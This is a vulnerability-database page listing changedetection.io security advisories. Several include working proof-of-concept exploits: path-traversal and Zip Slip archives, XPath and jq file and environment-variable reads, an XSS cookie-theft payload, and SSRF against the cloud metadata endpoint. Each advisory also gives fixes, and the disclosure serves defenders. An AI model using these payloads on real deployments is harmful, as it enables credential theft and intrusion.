Patrowl Intel
Sign in
CVEs 13
Skip to the CVEs

Filter by signal

13 changedetection CVEs, newest first

  1. 7.5 2 exploits RemoteMay 5, 2026

    changedetection.io has an Arbitrary Local File Read via a crafted backup restore ### Details The vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using `shutil.copytree(entry.path, dst_dir)`. This preserves attacker-controlled files inside the restored watch directory, including `history.txt`. Relevant code: - [changedetectionio/blueprint/backups/restore.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/blueprint/backups/restore.py#L132) - [changedetectionio/blueprint/backups/restore.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/blueprint/backups/restore.py#L141) After restore, the application parses `history.txt` in the watch `history` property. This is the core trust-boundary issue. Relevant code: - [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L460) - [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L471) - [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L478) The relevant logic is effectively: ```python if os.sep not in v and '/' not in v and '\\' not in v: v = os.path.join(self.data_dir, v) else: snapshot_fname = os.path.basename(v) proposed_new_path = os.path.join(self.data_dir, snapshot_fname) if not os.path.exists(v) and os.path.exists(proposed_new_path): v = proposed_new_path ``` This has the following security consequence: - If the `history.txt` value is only a filename, it is resolved safely under `self.data_dir`. - If the value contains path separators, it is treated as a path reference rather than a watch-local snapshot name. - If that external path already exists, it is preserved unchanged. As a result, a malicious restored `history.txt` entry such as: `1776969105,/etc/passwd` will be accepted if the referenced file exists and is readable by the application process. The second vulnerable step is in `get_history_snapshot()`. Once the untrusted path has been accepted into the watch history, the application reads the resolved path directly without enforcing that it remains inside the watch directory. Relevant code: - [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L554) That function eventually performs direct file reads such as: ```python with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: return f.read() ``` The third step is reachability. The trusted history entry is consumed by both the Preview UI and the watch history API. Relevant code: - [changedetectionio/blueprint/ui/preview.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/blueprint/ui/preview.py#L77) - [changedetectionio/api/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/api/Watch.py#L263) In the Preview flow, the application selects the latest history timestamp and calls: ```python content = watch.get_history_snapshot(timestamp=timestamp) ``` In the API flow, the application also calls: ```python content = watch.get_history_snapshot(timestamp=timestamp) ``` This creates the following end-to-end exploit chain: 1. An attacker supplies a crafted backup ZIP. 2. The restore process preserves attacker-controlled `history.txt`. 3. The `history.txt` parser accepts an absolute or out-of-directory path if that path exists. 4. Preview or the history API dereferences the stored path directly. 5. The application returns the contents of the targeted local file. The root cause is that imported history entries are treated as trusted filesystem paths instead of being restricted to safe basenames under `watch.data_dir`. ### PoC The following proof of concept demonstrates the end-to-end exploit chain. It assumes the attacker has gained access to the backup restore functionality to upload the crafted archive. 1. Create a normal watch in the UI, for example: ```text https://example.com ``` 2. Trigger at least one successful check so the watch generates a valid history entry and can later be included in a backup. <img width="1230" height="587" alt="image" src="https://github.com/user-attachments/assets/a76302c9-48d6-4aa3-9bfc-0ba2fdb31156" /> 3. Go to the `Backups` section and create a backup archive. <img width="1232" height="390" alt="image" src="https://github.com/user-attachments/assets/8fef0444-d8f0-4db6-be75-04fa7db2fec8" /> 4. Extract the backup archive and identify the watch UUID directory that contains the target watch's `watch.json`. For example: ```text 5db3d3d8-71e6-4db2-a81e-e1f0445c3e47 ``` 5. Open that watch directory and edit `history.txt`. 6. Replace the latest history entry with a path to an existing local file that is readable by the application process. For example: ```text 1776969188,/etc/passwd ``` If the timestamp differs in the extracted backup, keep the original latest timestamp and only replace the filename/path portion. Example: ```text 1776969188,742215043ff9be7e635f05e680ff9b11.txt ``` becomes: ```text 1776969188,/etc/passwd ``` <img width="1139" height="366" alt="image" src="https://github.com/user-attachments/assets/07277b36-4747-4181-82d1-523385b40de3" /> 7. Repack the backup so that the UUID directories are located at the root of the ZIP archive. Important: - Do not add an extra parent directory layer when repacking. - The archive root should contain directories such as: ```text <watch-uuid>/ <group-uuid>/ changedetection.json url-list.txt ``` <img width="986" height="353" alt="image" src="https://github.com/user-attachments/assets/21b30368-2cb5-4b88-9055-79d5bf06ad48" /> 8. In the UI, restore the modified backup and enable replacement of existing watches with the same UUID. <img width="1229" height="700" alt="image" src="https://github.com/user-attachments/assets/79abd9d2-8b2d-4e08-abf3-3b63238a8055" /> 9. After restore completes, open `Preview` for the restored watch. 10. The application will read the attacker-controlled path from `history.txt` and display the contents of the referenced local file instead of the original watch snapshot. Observed result: - The Preview page returns the content of the attacker-selected local file. Expected result: - The application should reject absolute paths or out-of-directory paths restored from `history.txt`. - Snapshot history should be restricted to files within the watch's own data directory. Optional API verification: - The same issue can also be confirmed through the watch history API by requesting the modified timestamp after restore. - The API returns the same file content because it also calls `watch.get_history_snapshot(timestamp=timestamp)` on the trusted history entry. <img width="1233" height="545" alt="image" src="https://github.com/user-attachments/assets/a2814a5a-2cdd-49a1-916b-c956dd5fda1f" /> ### Impact This is an arbitrary local file disclosure vulnerability reachable through malicious backup restore content. Who is impacted: - Deployments where the application process has read access to sensitive local system files. - Docker or host-mounted environments where secrets, config files, or operational artifacts are explicitly readable by the service. What can be exposed: - **Arbitrary System Files:** Core operating system files (e.g., `/etc/passwd`, `/proc/self/environ`), system-level configurations, and host metrics. - **Application Data:** Internal records and files residing under the /datastore directory. - **Secrets & Artifacts:** Application-local configuration files, API tokens, database credentials, and other sensitive artifacts accessible to the application process. By accessing the backup restore functionality and importing a crafted archive, an attacker can exploit the application's fail-open path validation. The confidentiality impact is exceptionally high because, once the payload is ingested, the application can be manipulated to disclose arbitrary local system files and highly sensitive environment variables directly through standard UI or API responses. ### Recommendation The application should treat all paths restored from `history.txt` as untrusted input. The root cause is in [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L460), where values containing path separators are currently accepted as filesystem paths and preserved if the referenced file already exists. The fix should be: 1. Never trust absolute or external paths from `history.txt`. 2. Normalize every history entry to `os.path.basename(v)`. 3. Join the normalized filename to `self.data_dir`. 4. Skip the entry if the resolved file does not exist inside the watch directory. Suggested code change: ```python snapshot_fname = os.path.basename(v.strip()) resolved_path = os.path.join(self.data_dir, snapshot_fname) if not os.path.exists(resolved_path): logger.warning( f"Skipping unsafe or missing history entry for {self.get('uuid')}: {v!r}" ) continue tmp_history[k] = resolved_path ``` This ensures restored history entries can only reference files inside the watch's own data directory and prevents arbitrary local file reads through Preview or the history API.

  2. 7.5 RemoteMay 4, 2026

    changedetection.io project has an XXE vulnerability # changedetection.io_XXE_01 Vulnerability Report: We discovered a XXE vulnerability in the changedetection.io project While analyzing the code logic, it was determined that an area may lead to unintended behavior under specific conditions. With the project's security in mind, see the analysis results to discern whether this may indicate a potential security risk. ## Overview - SOURCE_VERSION: `0.54.9 (9f3a9fdc18bba404244801e5df8109e213ce9ff4)` - Vulnerability type: `XXE` - Finding title: `XML XPath helpers parse untrusted XML with entity resolution left to lxml defaults` - Affected location: `changedetectionio/html_tools.py:287` ## Root Cause `xpath_filter()` switches to XML mode for XML/RSS content and creates `etree.XMLParser(strip_cdata=False)` without explicitly disabling external entity resolution, external DTD loading, or network-backed entity lookup. The helper then parses untrusted XML bytes directly with `etree.fromstring(...)`. ## Source-to-Sink Chain 1. Untrusted XML/RSS response content is fetched from monitored URLs. 2. Stream detection marks the content as XML/RSS and the include-filter path invokes `xpath_filter(..., is_xml=True)`. 3. `xpath_filter()` builds the default XML parser and calls `etree.fromstring(...)` at `changedetectionio/html_tools.py:287`. 4. External entity declarations in attacker XML can be expanded by parser-default behavior in affected runtime combinations. ## Exploitation Preconditions 1. Attacker controls the watched XML/RSS response body. 2. The watch uses an XPath include filter that triggers XML helper parsing. 3. Runtime parser behavior allows external entity expansion (for example, vulnerable dependency/default combinations). 4. The process can read the referenced local resource. ## Risk The XML helper path can turn watch processing into a local file disclosure primitive when entity expansion is enabled by parser defaults. ## Impact Sensitive local files can be exposed into extracted watch output, diff history, and downstream notification channels. ## Remediation 1. Harden XML parser construction with `resolve_entities=False`, `load_dtd=False`, and `no_network=True`. 2. Reject `DOCTYPE`/entity declarations for untrusted XML if DTD features are unnecessary. 3. Add regression tests that assert external entities are never expanded in XPath XML helper flows.

  3. 9.8 1 exploit RemoteApr 7, 2026

    changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

  4. 7.1 RemoteApr 1, 2026

    ChangeDetection.io versions prior to 0.54.7 contain a protection bypass vulnerability in the SafeXPath3Parser implementation that allows attackers to read arbitrary local files by using unblocked XPath 3.0/3.1 functions such as json-doc() and similar file-access primitives. Attackers can exploit the incomplete blocklist of dangerous XPath functions to access sensitive data from the local filesystem.

  5. — 1 exploitMar 27, 2026

    Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters ### Summary The `jq:` and `jqraw:` include filter expressions allow use of the jq `env` builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including `SALTED_PASS`, `PLAYWRIGHT_DRIVER_URL`, `HTTP_PROXY`, and any secrets passed as env vars to the container. ### Details **Vulnerable file:** `changedetectionio/html_tools.py`, lines 380-388 User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins: ```python if json_filter.startswith("jq:"): jq_expression = jq.compile(json_filter.removeprefix("jq:")) match = jq_expression.input(json_data).all() return _get_stripped_text_from_json_match(match) if json_filter.startswith("jqraw:"): jq_expression = jq.compile(json_filter.removeprefix("jqraw:")) match = jq_expression.input(json_data).all() return '\n'.join(str(item) for item in match) ``` The form validator at `forms.py:670-673` only checks that the expression compiles (`jq.compile(input)`) — it does not block dangerous functions. The jq `env` builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process. ### PoC **Step 1 — Create a watch for any JSON endpoint with `jqraw:env` as the include filter:** ```bash curl -X POST http://target:5000/api/v1/watch \ -H "Content-Type: application/json" \ -H "x-api-key: <api-key>" \ -d '{ "url": "https://httpbin.org/json", "include_filters": ["jqraw:env"], "time_between_check": {"seconds": 30} }' ``` If no password or API key is set (the default), no authentication is needed. **Step 2 — Wait for the watch to be checked, or trigger a recheck:** ```bash curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>" ``` **Step 3 — The processed text file on disk now contains all environment variables:** ``` {'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000', 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash', 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22', ... and all other env vars} ``` The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured. **Confirmed on v0.54.6:** The processed text file stored 46 environment variables from the server process. ### Impact - **Secret exposure:** Leaks `SALTED_PASS` (password hash used for authentication), enabling offline cracking or direct session forgery - **Infrastructure credential theft:** Leaks `PLAYWRIGHT_DRIVER_URL`, `WEBDRIVER_URL`, `HTTP_PROXY`/`HTTPS_PROXY`, database connection strings, and any API keys or tokens passed as environment variables - **Cascading access:** Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems - **Affects all deployments using jq:** Any instance where the Python `jq` module is installed (standard in Docker deployments) is vulnerable - **No authentication required by default:** changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration

  6. — 1 exploitMar 4, 2026

    changedetection.io has Zip Slip vulnerability in the backup restore functionality ### Summary A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. ### Details A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory. Vulnerable Code (lines 50-53): ``` def restore_backup(self, filename): with zipfile.ZipFile(filename, 'r') as zip_ref: # VULNERABLE: No path validation before extraction zip_ref.extractall(self.datastore_path) ``` The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory. | Path in ZIP | Target File | Impact | | --- | --- | --- | | ../secret.txt | Flask secret key | Session forgery, auth bypass | | ../changedetection.json | App settings | Disable password, inject backdoor | | ../url-watches.json | Watch index | Inject malicious watches | | ../{uuid}/watch.json | Watch config | Modify any watch | Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations ### PoC Step 1: Create Malicious ZIP ``` import zipfile import json with zipfile.ZipFile("zipslip.zip", "w") as zf: # Escape extraction directory with ../ zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET") zf.writestr("../changedetection.json", json.dumps({ "settings": {"application": {"password": ""}} })) zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({ "url": "https://attacker.com/zipslip-pwned", "title": "🔴 ZIPSLIP-PROOF" })) ``` Step 2: Upload via Restore Endpoint ```curl -X POST "http://target:5000/backups/restore/start" \ -F "zip_file=@zipslip.zip" \ -F "include_watches=y" \ -F "include_settings=y" ``` ###Step 3: Verify Path Traversal ### Check if watch escaped to /datastore/ ###ls -la /datastore/ ### Look for: pwned-uuid-1234/ ### Verify in UI ```curl "http://target:5000/" | grep "ZIPSLIP"``` <img width="1920" height="1080" alt="f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM" src="https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38" />

  7. — 1 exploitMar 4, 2026

    changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text() ### Summary - The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. - XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. ### Data Flow ``` User Input (include_filters field) ↓ forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety ↓ Watch configuration stored in datastore ↓ Scheduled fetch triggers html_tools.py processing ↓ html_tools.py:xpath_filter() at line 213 ↓ elementpath.select(root, xpath_expression, parser=XPath3Parser) ↓ XPath 3.0 unparsed-text('file:///etc/passwd') executed ↓ File contents returned as "filtered content" ↓ Stored as snapshot, viewable in UI ``` **Affected Code** **File:** changedetectionio/html_tools.py **Function:** xpath_filter() **Lines:** 187-220 ``` def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False): # ... from elementpath import XPath3Parser # XPath 3.0 with dangerous functions # ... r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213 ``` Validation (forms.py): ``` class ValidateCSSJSONXPATHInput: def __call__(self, form, field): # Only checks if XPath is syntactically valid # Does NOT check for dangerous functions like unparsed-text() ``` ### Details - Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance - Create a new watch with any valid URL (e.g., https://example.com) - Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to: ``` xpath:unparsed-text('file:///etc/passwd') ``` - Save and trigger a recheck - View the preview/snapshot - the file contents will be displayed <img width="2800" height="1108" alt="image" src="https://github.com/user-attachments/assets/f39df9c3-52c9-4fa8-ab57-75c7d4955017" /> ### PoC python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py ``` python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd ╔═══════════════════════════════════════════════════════════════╗ ║ XPath 3.0 Arbitrary File Read Exploit ║ ║ Target: changedetection.io ║ ║ Vulnerability: unparsed-text() in XPath filters ║ ╚═══════════════════════════════════════════════════════════════╝ [*] Creating new watch for https://example.com... [+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1 [*] Setting XPath filter to read: /etc/passwd [+] XPath filter set successfully [*] Triggering recheck... [*] Waiting for check to complete... [*] Retrieving file contents... [+] SUCCESS! File contents retrieved: ============================================================ root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ============================================================ [*] Cleaning up (deleting watch)... ``` ### Impact - Read any file accessible to the application process - Exfiltrate sensitive configuration files, credentials, API keys - Read application source code - Access database files if file-based (SQLite)

  8. 6.1 1 exploit RemoteMar 4, 2026

    changedetection.io has Reflected XSS in its RSS Tag Error Response A reflected cross-site scripting (XSS) vulnerability was identified in the `/rss/tag/` endpoint of changedetection.io. The `tag_uuid` path parameter is reflected directly in the HTTP response body without HTML escaping. Since Flask returns `text/html` by default for plain string responses, the browser parses and executes injected JavaScript. This vulnerability persists in version **0.54.1**, which patched the related XSS in `/rss/watch/` (CVE-2026-27645 / GHSA-mw8m-398g-h89w) but did not address the identical pattern in the tag RSS endpoint. ## Package - **Ecosystem:** pip - **Package:** changedetection.io - **Affected versions:** <= 0.54.1 - **Patched versions:** _(none yet)_ ## Severity **Moderate - CVSS 6.1** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` ## Details **File:** `changedetectionio/blueprint/rss/tag.py` **Line:** 36 **Source:** [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py) The `tag_uuid` parameter from the URL path is interpolated into the response body using an f-string with no escaping: ```python tag = datastore.data['settings']['application'].get('tags', {}).get(tag_uuid) if not tag: return f"Tag with UUID {tag_uuid} not found", 404 # ← No escaping, Content-Type: text/html ``` Flask's default `Content-Type` for plain string responses is `text/html; charset=utf-8`, so any HTML/JavaScript injected via `{tag_uuid}` is rendered and executed by the browser. ### Relationship to CVE-2026-27645 CVE-2026-27645 (GHSA-mw8m-398g-h89w) addressed the identical vulnerability pattern in `/rss/watch/` (`single_watch.py`). The fix applied in v0.54.1 patched that endpoint but **did not** fix the same pattern in `/rss/tag/` (`tag.py`). Testing confirms: - **`/rss/watch/` on v0.54.1** — Returns generic 404 page, XSS no longer triggers ✅ - **`/rss/tag/` on v0.54.1** — XSS payload still fires, vulnerability confirmed ❌ ## Attack Vector The attack requires a valid RSS access token, which is a 32-character hex string exposed in the `<link>` HTML tag on the homepage without authentication: 1. Attacker visits the target's homepage (if unauthenticated) and extracts the RSS token from the `<link>` tag 2. Crafts a malicious URL: ``` http://target:5000/rss/tag/<img src=x onerror=alert(document.cookie)>?token=EXTRACTED_TOKEN ``` 3. Sends the link to a victim who has an active session on the changedetection.io instance 4. When the victim clicks the link, the server responds with: ``` Tag with UUID <img src=x onerror=alert(document.cookie)> not found ``` 5. The browser renders the `<img>` tag, the `onerror` fires, and JavaScript executes in the victim's session context ## Proof of Concept ### Request ```http GET /rss/tag/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token=60b83b06df98b24c66367bc3d233105b HTTP/1.1 Host: localhost:5000 ``` ### Response ```http HTTP/1.1 404 NOT FOUND Content-Type: text/html; charset=utf-8 Tag with UUID <img src=x onerror=alert(document.domain)> not found ``` The XSS payload is reflected unescaped in an HTML response. The browser executes `alert(document.domain)` and displays "localhost", confirming JavaScript execution. **Tested on:** changedetection.io v0.54.1 (Docker, localhost, Feb 25, 2026) https://github.com/user-attachments/assets/6db07f6a-6df8-48a7-a597-9f39dfa1bb29 ## Impact - **Session cookie theft** via `document.cookie` exfiltration - **Account takeover** if session cookies lack the `HttpOnly` flag - **Phishing** via crafted links that appear to originate from a trusted changedetection.io instance - **Low exploitation barrier** - the RSS token is obtainable without authentication from the homepage `<link>` tag - **Widespread exposure** - prior scanning of internet-facing instances (during CVE-2026-27645 research) identified 500+ publicly accessible deployments ## Suggested Fix Escape the `tag_uuid` parameter before reflecting it in the response, or set the `Content-Type` to `text/plain`: ### Option A: HTML Escape (Recommended) ```python from markupsafe import escape if not tag: return f"Tag with UUID {escape(tag_uuid)} not found", 404 ``` ### Option B: Set Content-Type to text/plain ```python from flask import make_response if not tag: resp = make_response(f"Tag with UUID {tag_uuid} not found", 404) resp.headers['Content-Type'] = 'text/plain; charset=utf-8' return resp ``` ## Credits - **Roberto Nunes** ([@Akokonunes](https://github.com/Akokonunes)) - Reporter - **neo-ai-engineer** ([@neo-ai-engineer](https://github.com/neo-ai-engineer)) - Reporter ## References - Related advisory: [GHSA-mw8m-398g-h89w](https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w) (CVE-2026-27645) - Vulnerable source: [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py)

  9. 8.6 1 exploit RemoteFeb 25, 2026

    changedetection.io is Vulnerable to SSRF via Watch URLs ## Summary Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as: - `http://169.254.169.254` - `http://10.0.0.1/` - `http://127.0.0.1/` The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services. This is particularly severe because: - The fetched content is stored and viewable - this is not a blind SSRF - Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources - By default, no password is set - the web UI is accessible without authentication - Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials --- ## Details The URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60–122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation: ```python # changedetectionio/validate_url.py:60-122 @lru_cache(maxsize=1000) def is_safe_valid_url(test_url): safe_protocol_regex = '^(http|https|ftp):' # Check protocol pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE) if not pattern.match(test_url.strip()): return False # Check URL format if not validators.url(test_url, simple_host=True): return False return True # No IP address validation performed ``` The HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83–89) then makes the request without any additional IP validation: ```python # changedetectionio/content_fetchers/requests.py:83-89 r = session.request(method=request_method, url=url, # User-provided URL, no IP validation headers=request_headers, timeout=timeout, proxies=proxies, verify=False) ``` The response content is stored and made available to the user: ```python # changedetectionio/content_fetchers/requests.py:140-142 self.content = r.text # Text content stored self.raw_content = r.content # Raw bytes stored ``` This validation gap exists in all entry points that accept watch URLs: - Web UI: `changedetectionio/store/__init__.py:718` - REST API: `changedetectionio/api/watch.py:163, 428` - Import API: `changedetectionio/api/import.py:188` All use the same `is_safe_valid_url()` function, so a single fix addresses all paths. --- ## PoC ### Prerequisites - A changedetection.io instance (Docker deployment) - Network access to the instance (default port 5000) ### Step 1: Deploy changedetection.io with an internal service Create `internal-service.py`: ```python #!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import json class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps({ 'Code': 'Success', 'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE', 'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY', 'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken' }).encode()) HTTPServer(('0.0.0.0', 80), H).serve_forever() ``` Create `Dockerfile.internal`: ``` FROM python:3.11-slim COPY internal-service.py /server.py CMD ["python3", "/server.py"] ``` Create `docker-compose.yml`: ```yaml version: "3.8" services: changedetection: image: ghcr.io/dgtlmoon/changedetection.io ports: - "5000:5000" volumes: - ./datastore:/datastore internal-service: build: context: . dockerfile: Dockerfile.internal ``` Start the stack: ```bash docker compose up -d ``` ### Step 2: Add a watch for the internal service Open `http://localhost:5000/` in a browser (no password required by default). In the URL field, enter: ``` http://internal-service/ ``` Click **Watch** and wait for the first check to complete. ### Step 3: View the exfiltrated data Click on the watch entry, then click **Preview**. The page displays the internal service’s response containing the simulated credentials: ```json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... } ``` <img width="2291" height="780" alt="Screenshot 2026-02-16 084212" src="https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd" /> ### Step 4: Verify via API (alternative) ```bash # Get the API key (visible in Settings page of the unauthenticated web UI) API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \ python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])") # Create a watch via API WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \ -H "x-api-key: $API_KEY" \ -H "Content-Type: application/json" \ -d '{"url": "http://internal-service/"}') WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])") echo "Watch created: $WATCH_UUID" # Wait for the first fetch to complete echo "Waiting 30s for first fetch..." sleep 30 # Retrieve the exfiltrated data via API LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \ -H "x-api-key: $API_KEY" | \ python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')") echo "=== EXFILTRATED DATA ===" curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \ -H "x-api-key: $API_KEY" ``` Expected output — the internal service’s response containing simulated credentials: ```json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... } ``` In a real cloud deployment, replacing `http://internal-service/` with: ```bash http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` would return real AWS IAM credentials. <img width="1140" height="607" alt="Screenshot 2026-02-16 084407" src="https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45" /> --- ## Impact **Who is impacted:** All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible. **What an attacker can do:** - **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens - **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses - **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet - **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources - **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability --- ### Suggested Remediation Add IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`: ```python import ipaddress import socket BLOCKED_NETWORKS = [ ipaddress.ip_network('127.0.0.0/8'), # Loopback ipaddress.ip_network('10.0.0.0/8'), # Private (RFC 1918) ipaddress.ip_network('172.16.0.0/12'), # Private (RFC 1918) ipaddress.ip_network('192.168.0.0/16'), # Private (RFC 1918) ipaddress.ip_network('169.254.0.0/16'), # Link-local / Cloud metadata ipaddress.ip_network('::1/128'), # IPv6 loopback ipaddress.ip_network('fc00::/7'), # IPv6 unique local ipaddress.ip_network('fe80::/10'), # IPv6 link-local ] def is_private_ip(hostname): """Check if a hostname resolves to a private/reserved IP address.""" try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(info[4][0]) for network in BLOCKED_NETWORKS: if ip in network: return True except socket.gaierror: return True # Block unresolvable hostnames return False ``` Then add to `is_safe_valid_url()` before the final `return True`: ```python # Check for private/reserved IP addresses parsed = urlparse(test_url) if parsed.hostname and is_private_ip(parsed.hostname): logger.warning(f"URL '{test_url}' resolves to a private/reserved IP address") return False ``` An environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.

  10. 6.1 2 exploits RemoteFeb 25, 2026

